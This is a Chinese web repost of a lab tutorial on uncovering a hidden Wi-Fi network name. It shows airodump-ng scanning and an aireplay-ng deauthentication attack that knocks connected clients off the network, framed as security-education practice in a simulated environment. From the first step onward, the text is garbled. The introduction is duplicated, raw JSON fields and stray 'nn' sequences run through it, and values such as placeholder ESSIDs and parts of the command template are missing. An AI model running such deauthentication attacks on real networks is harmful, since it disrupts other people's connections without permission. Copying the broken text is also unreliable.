游乐游手机版
首页/网络安全/文章详情

如何用airodump-ng发现隐藏SSID网络名称

时间:2026-08-15 13:01
引言 无线网络可以配置为不广播自己的服务集标识符(SSID),也就是人们常说的“隐藏 WiFi”或“隐藏网络”。表面上看,这似乎为无线安全增加了一层防护,但实际上,它更多只是提升了被发现的门槛,并不能算作真正有效的安全机制。借助无线抓包和网络分析工具,攻击者仍然可以较容易地识别并恢复隐藏的 SSID
引言 无线网络可以配置为不广播自己的服务集标识符(SSID),也就是人们常说的“隐藏 WiFi”或“隐藏网络”。表面上看,这似乎为无线安全增加了一层防护,但实际上,它更多只是提升了被发现的门槛,并不能算作真正有效的安全机制。借助无线抓包和网络分析工具,攻击者仍然可以较容易地识别并恢复隐藏的 SSID。 在这个实验中,你将完整体验一次发现隐藏 SSID 的实战流程。具体来说,你会先使用 `airodump-ng` 监听无线流量并定位隐藏网络,再通过 `aireplay-ng` 发起 deauthentication 攻击。该攻击会让已经连接的客户端短暂断线并自动重新连接,而客户端在重新关联的过程中,目标无线网络的 SSID 就会被暴露出来。 整个过程都会在本实验预先搭建好的模拟无线环境中进行。 启动 airodump-ng 进入通用扫描模式 这一步需要启动 `airodump-ng`。它是一款专门用于捕获 802.11 无线帧的工具,这里主要用它来扫描附近的所有 Wi-Fi 网络。实验环境已经提前准备好了一个名为 `wlan2mon` 的监控模式接口。 首先打开一个终端。本实验中的所有命令都会在终端中执行。 接下来,在该监控接口上运行 `airodump-ng`。这一步需要使用 `sudo` 权限。 ```bash sudo airodump-ng wlan2mon ``` 命令执行后,终端会立即显示附近大量无线网络的信息。先不要关闭窗口,让它保持持续运行,因为后续步骤还需要继续观察它的输出结果。 你看到的界面大致如下,并且会实时刷新: ```plaintext CH 6 ][ Elapsed: 10 s ][ 2023-10-27 10:00nn BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSIDnn XX:XX:XX:XX:XX:XX -30 10 0 0 6 54e OPN nn BSSID STATION PWR Rate Lost Frames Proben```nn保持此终端打开并持续运行 `airodump-ng`。你需要在第 4 步时另外打开一个新的终端。n","need_verify":true,"has_solution":false},{"position":2,"title":"识别 ESSID 为 '' 的网络","layout":"doc-workbench-split","text":"## 识别 ESSID 为 '' 的网络nn在这一步中,你将通过分析 `airodump-ng` 的输出结果来定位隐藏网络。nn查看运行 `airodump-ng` 的终端。隐藏网络通常通过未广播的 `ESSID`(也就是无线网络名称)来识别。`airodump-ng` 会将这类网络显示为 ``。nn在输出中,你应该能看到类似下面的一行:nn```plaintextn BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSIDnn XX:XX:XX:XX:XX:XX -30 10 0 0 6 54e OPN n```nn这一行就代表我们要分析的目标隐藏网络。请重点记住其中两个关键信息:nn- **BSSID**: 无线接入点的 MAC 地址。在示例中为 `XX:XX:XX:XX:XX:XX`。n- **CH**: 该无线网络所使用的信道。在示例中为 `6`。nn在后续执行 deauthentication 攻击时,你需要用到这个 BSSID。为了便于你在本次实验中快速操作,模拟 AP 的 BSSID 已经保存到了文件中。如果需要,可以在新终端中运行 `cat /tmp/bssid.txt` 查看。n","need_verify":true,"has_solution":false},{"position":3,"title":"等待客户端连接以显示 SSID","layout":"doc-workbench-split","text":"## 等待客户端连接以显示 SSIDnn在此步骤中,我们先介绍一种被动发现隐藏 SSID 的方法。nn发现隐藏 SSID 的一种方式,就是直接等待合法客户端接入该网络。当客户端连接到隐藏 Wi-Fi 时,它会发送包含 SSID 信息的探测请求(probe requests)和关联请求(association requests)。如果 `airodump-ng` 正在运行,并且恰好在正确的无线信道上进行监听,它就有机会捕获这些数据包,并进一步显示真实的 SSID。nn`airodump-ng` 的输出通常分为两个部分。顶部区域列出附近检测到的接入点(APs),底部区域则列出已连接或正在通信的客户端(Stations)。nn```plaintextn BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSIDn XX:XX:XX:XX:XX:XX -30 10 0 0 6 54e OPN nn BSSID STATION PWR Rate Lost Frames Proben XX:XX:XX:XX:XX:XX YY:YY:YY:YY:YY:YY -40 0- 1 0 1n```nn在上面的示例中,MAC 地址为 `YY:YY:YY:YY:YY:YY` 的客户端已经连接到我们的隐藏 AP(`XX:XX:XX:XX:XX:XX`)。nn不过,单纯等待客户端连接往往比较耗时,效率也不稳定。因此在下一步中,我们将使用一种更主动的方法来强制触发客户端重新连接,从而更快地获取并显示 SSID。n","need_verify":true,"has_solution":false},{"position":4,"title":"发起 Deauthentication 攻击以揭示 SSID","layout":"doc-workbench-split","text":"## 发起 Deauthentication 攻击以揭示 SSIDnn在这一步中,你将使用 `aireplay-ng` 发起 deauthentication 攻击,主动促使隐藏 SSID 被揭示出来。该攻击会向已连接的客户端发送特殊的数据包,使其与当前无线网络暂时断开连接。大多数正常工作的客户端会立即尝试重新接入,而在重新连接和握手的过程中,就会暴露出目标网络的 SSID。nn首先,你需要**打开一个新的终端**。不要关闭正在运行 `airodump-ng` 的终端。nn在新终端中,你将构建并执行 `aireplay-ng` 命令。命令格式如下:n`sudo aireplay-ng --deauth -a `nn- `--deauth 5`: 表示发送 5 个 deauthentication 数据包。n- `-a `: 这里填写你在步骤 2 中识别到的隐藏网络 BSSID。n- `wlan2mon`: 这是本实验使用的监控接口。nn为了简化操作,你可以直接从我们预先准备好的文件中读取 BSSID。执行以下命令来发起攻击:nn```bashnsudo aireplay-ng --deauth 5 -a $(cat /tmp/bssid.txt) wlan2monn```nn执行后,你将看到终端输出提示正在发送 deauthentication 数据包。nn```plaintextn10:05:10 Waiting for beacon frame (BSSID: XX:XX:XX:XX:XX:XX) on channel 6n10:05:10 Sending 64 directed DeAuths. STMAC: [YY:YY:YY:YY:YY:YY] [ 0|63 ACKs]n...n```nn接下来,请快速切换回第一个运行 `airodump-ng` 的终端,以便在下一步观察扫描结果变化。n","need_verify":true,"has_solution":false},{"position":5,"title":"在 airodump-ng 显示中注意已揭示的 SSID","layout":"doc-workbench-split","text":"## 在 airodump-ng 显示中注意已揭示的 SSIDnn在最后一步中,你将验证 deauthentication 攻击带来的结果。nn切换回第一个终端,也就是运行 `airodump-ng` 的那个窗口。在 deauthentication 攻击完成后,客户端会重新连接到无线接入点。在这一过程中,`airodump-ng` 会捕获到包含 SSID 的相关数据包。nn原先 ESSID 显示为 `` 的那一行,此时应该会更新为真实的网络名称 `LabExHidden`。nn**攻击前:**nn```plaintextn BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSIDnn XX:XX:XX:XX:XX:XX -30 10 0 0 6 54e OPN n```nn**攻击后:**nn```plaintextn BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSIDnn XX:XX:XX:XX:XX:XX -32 25 1 0 6 54e OPN LabExHiddenn```nn至此,你已经成功发现了这个隐藏 Wi-Fi 网络的 SSID。nn现在,你可以输入 `exit`,或者使用 `Ctrl+C` 先停止正在运行的进程,然后关闭两个终端窗口。n","need_verify":true,"has_solution":false},{"position":6,"title":"总结","layout":"doc-fullscreen","text":"## 总结nn在本实验中,你学习了一种发现隐藏 Wi-Fi 网络 SSID 的常见技术。你也进一步理解了:隐藏 SSID 并不是一种真正可靠的无线安全措施,因为它在实际环境中很容易被识别和恢复。nn你练习使用了 `aircrack-ng` 套件中的两个关键工具:nn- **`airodump-ng`**: 用于扫描无线网络,并通过 `` 这样的 ESSID 显示来识别隐藏网络。n- **`aireplay-ng`**: 用于发起 deauthentication 攻击,迫使已经连接的客户端在重新接入时暴露真实 SSID。nn先进行被动监听,再结合主动触发的方式,这套流程正是无线安全测试与 Wi-Fi 审计中非常基础且重要的分析思路。
来源:https://labex.io/zh/tutorials/kali-discover-a-hidden-ssid-using-airodump-ng-594438
上一篇如何验证网络连接是否正常及常用排查方法 下一篇Wireshark常见面试题及答案解析
本站内容用于信息整理与展示,如有侵权或内容问题请及时联系处理。

相关推荐

补充同频道和同主题内容,方便继续浏览更多相关内容。

同类最新

继续查看同栏目最近更新的文章。

更多
DDoS攻击的三大主要形式:原理、特征与防御重点
网络安全 · 2026-08-31

DDoS攻击的三大主要形式:原理、特征与防御重点

DDoS攻击主要分为基于流量(Volume)、基于应用层(Application)和基于协议(Protocol)三种形式。流量型攻击通过海量数据淹没带宽;应用层攻击利用Web漏洞耗尽服务器资源;协议层攻击则利用TCP握手缺陷导致系统挂起。了解这些原理是制定针对性防御策略的基础。

如何有效预防和缓解DDoS攻击:5大核心策略详解
网络安全 · 2026-08-31

如何有效预防和缓解DDoS攻击:5大核心策略详解

面对DDoS攻击,单纯增加带宽已非长久之计。本文详解5大核心防护策略:优化网络硬件配置、建立DNS冗余机制、部署透明缓解技术、引入负载平衡器及专用Anti-DDoS模块。通过合理组合这些技术手段,可有效抵御SYN泛洪、Slowloris等常见攻击,保障业务连续性与网站可用性。

DDoS防护四大误区:CDN、防火墙与黑名单的局限性解析
网络安全 · 2026-08-31

DDoS防护四大误区:CDN、防火墙与黑名单的局限性解析

许多企业误以为CDN、防火墙或黑名单能完全抵御DDoS攻击。本文深入解析四大常见误区:CDN仅提供部分缓解、静态黑名单易失效、防火墙算力有限且可能成为目标、阈值警报仅具滞后性。了解这些局限性,有助于构建更立体的防御体系,避免在攻击发生时措手不及。

常见DDoS攻击类型详解:原理、特征与防御策略
网络安全 · 2026-08-31

常见DDoS攻击类型详解:原理、特征与防御策略

本文详细解析四种常见DDoS攻击类型:SYN Flood利用TCP三次握手缺陷耗尽资源;UDP Flood通过海量数据包造成带宽拥塞;ICMP Flood利用Ping请求消耗系统算力;应用层Flood针对Web脚本进行高频请求。了解其原理是制定有效防御策略的基础。

如何有效抵御DDOS攻击:4种核心防护方案解析
网络安全 · 2026-08-31

如何有效抵御DDOS攻击:4种核心防护方案解析

面对DDOS攻击,企业需构建多层防护体系。本文详解四大核心策略:利用反向路由器查询进行流量清洗,通过GCDN智能分配节点隐藏源站IP,部署负载均衡硬件分担压力,以及接入高防机房抵御数百G恶意流量。掌握这些技术,可最大程度保障业务连续性。